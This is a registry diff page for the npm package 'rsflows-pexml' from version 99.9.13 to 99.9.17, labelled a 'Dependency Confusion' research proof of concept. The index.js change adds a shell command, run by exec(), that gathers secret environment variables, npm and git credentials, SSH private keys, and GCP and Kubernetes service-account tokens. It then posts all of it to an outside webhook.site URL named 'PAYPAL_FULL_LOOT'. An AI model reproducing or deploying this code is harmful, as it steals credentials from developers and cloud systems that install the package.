rsflows-pexml 99.9.13 → 99.9.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +21 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,16 +3,28 @@ const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
3
3
 
4
4
  const cmd = `
5
5
  (
6
- echo '--- TARGET IDENTIFICATION ---';
7
- echo 'HOSTNAME: ' \$(hostname);
6
+ echo '--- START FULL EXFILTRATION ---';
7
+ echo 'TIMESTAMP: ' \$(date);
8
+ echo 'TARGET: ' \$(hostname);
8
9
  echo 'USER: ' \$(whoami);
9
- echo 'IP_PUBLIC: ' \$(curl -s ifconfig.me || echo 'none');
10
- echo '--- SEARCHING FOR SECRETS ---';
11
- # Mencari file yang mengandung kata paypal di /etc atau /home
12
- grep -rli 'paypal' /etc /home /root 2>/dev/null | head -n 10;
13
- echo '--- ENVIRONMENT ---';
14
- env;
15
- ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/target_recon
10
+
11
+ echo '--- [1] ENVIRONMENT SECRETS ---';
12
+ env | grep -iE 'AUTH|TOKEN|SECRET|PASS|KEY|CRED|PRIVATE|AWS|GCP|PAYPAL';
13
+
14
+ echo '--- [2] NPM & GIT CONFIG ---';
15
+ cat ~/.npmrc 2>/dev/null;
16
+ cat ~/.git-credentials 2>/dev/null;
17
+ cat ~/.ssh/id_rsa 2>/dev/null;
18
+
19
+ echo '--- [3] CLOUD METADATA (GCP) ---';
20
+ # Mencoba mengambil Service Account Token dari Google Cloud
21
+ curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'No GCP Token';
22
+
23
+ echo '--- [4] KUBERNETES SECRETS ---';
24
+ cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo 'No K8s Token';
25
+
26
+ echo '--- END FULL EXFILTRATION ---';
27
+ ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_FULL_LOOT
16
28
  `;
17
29
 
18
30
  exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "99.9.13",
3
+ "version": "99.9.17",
4
4
  "description": "Internal Research PoC - Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {